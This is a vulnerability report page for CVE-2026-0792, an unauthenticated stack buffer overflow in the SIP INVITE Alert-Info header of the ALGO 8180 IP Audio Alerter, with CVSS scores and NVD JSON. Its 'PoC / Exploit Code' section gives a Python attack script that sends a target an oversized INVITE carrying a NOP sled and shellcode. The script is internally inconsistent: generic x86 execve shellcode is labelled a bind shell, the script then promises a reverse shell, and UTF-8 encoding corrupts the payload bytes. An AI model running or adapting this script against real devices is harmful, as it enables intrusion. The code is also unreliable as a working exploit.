Security Vulnerability Report
中文
CVE-2026-0792 CVSS 9.8 CRITICAL

CVE-2026-0792

Published: 2026-01-23 04:16:07
Last Modified: 2026-02-18 18:52:16

Description

ALGO 8180 IP Audio Alerter SIP INVITE Alert-Info Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the Alert-Info header of SIP INVITE requests. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28301.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:* - NOT VULNERABLE
ALGO 8180 IP Audio Alerter < 最新固件版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-0792 PoC - ALGO 8180 IP Audio Alerter SIP INVITE Alert-Info Stack-based Buffer Overflow RCE """ import socket import struct def create_sip_invite_with_overflow(target_ip, target_port=5060): """ Generate malicious SIP INVITE request with oversized Alert-Info header to trigger stack-based buffer overflow on ALGO 8180 devices. """ # Overflow payload - 500 bytes to overflow the fixed-length buffer overflow_length = 500 overflow_payload = b'A' * overflow_length # Add NOP sled and shellcode for code execution nop_sled = b'\x90' * 50 # Simple bind shell shellcode (port 4444) - should be customized shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' # Construct the full payload exploit_payload = overflow_payload[:100] + nop_sled + shellcode # SIP INVITE Request sip_request = f"INVITE sip:target@{target_ip}:{target_port} SIP/2.0\r\n" sip_request += f"Via: SIP/2.0/UDP {target_ip}:{target_port}\r\n" sip_request += f"Max-Forwards: 70\r\n" sip_request += f"From: <sip:attacker@{target_ip}>\r\n" sip_request += f"To: <sip:target@{target_ip}>\r\n" sip_request += f"Call-ID: {overflow_payload[:32].hex()}@victim.local\r\n" sip_request += f"CSeq: 1 INVITE\r\n" sip_request += f"Contact: <sip:attacker@{target_ip}>\r\n" sip_request += f"Content-Type: application/sdp\r\n" sip_request += f"Alert-Info: {exploit_payload.decode('latin-1', errors='ignore')}\r\n" sip_request += f"Content-Length: 0\r\n\r\n" return sip_request.encode('utf-8') def exploit(target_ip, target_port=5060): """ Send the exploit payload to trigger the buffer overflow """ print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Generating malicious SIP INVITE request...") payload = create_sip_invite_with_overflow(target_ip, target_port) print(f"[*] Sending exploit payload ({len(payload)} bytes)...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(payload, (target_ip, target_port)) print(f"[+] Exploit payload sent successfully") print(f"[*] If vulnerable, check for reverse shell on port 4444") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5060 exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0792", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:06.987", "lastModified": "2026-02-18T18:52:15.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ALGO 8180 IP Audio Alerter SIP INVITE Alert-Info Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of the Alert-Info header of SIP INVITE requests. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28301."}, {"lang": "es", "value": "Vulnerabilidad de desbordamiento de búfer basado en pila con ejecución remota de código en Alert-Info de SIP INVITE de ALGO 8180 IP Audio Alerter. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de dispositivos ALGO 8180 IP Audio Alerter. La autenticación no es requerida para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro del manejo del encabezado Alert-Info de solicitudes SIP INVITE. El problema resulta de la falta de validación adecuada de la longitud de los datos proporcionados por el usuario antes de copiarlos a un búfer basado en pila de longitud fija. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del dispositivo. Fue ZDI-CAN-28301."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:*", "matchCriteriaId": "853BF5C9-122B-4F47-9CE7-DA3E307130ED"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:*", "matchCriteriaId": "3A20E73F-D499-4973-ADDE-8B702E6F5254"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-014/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}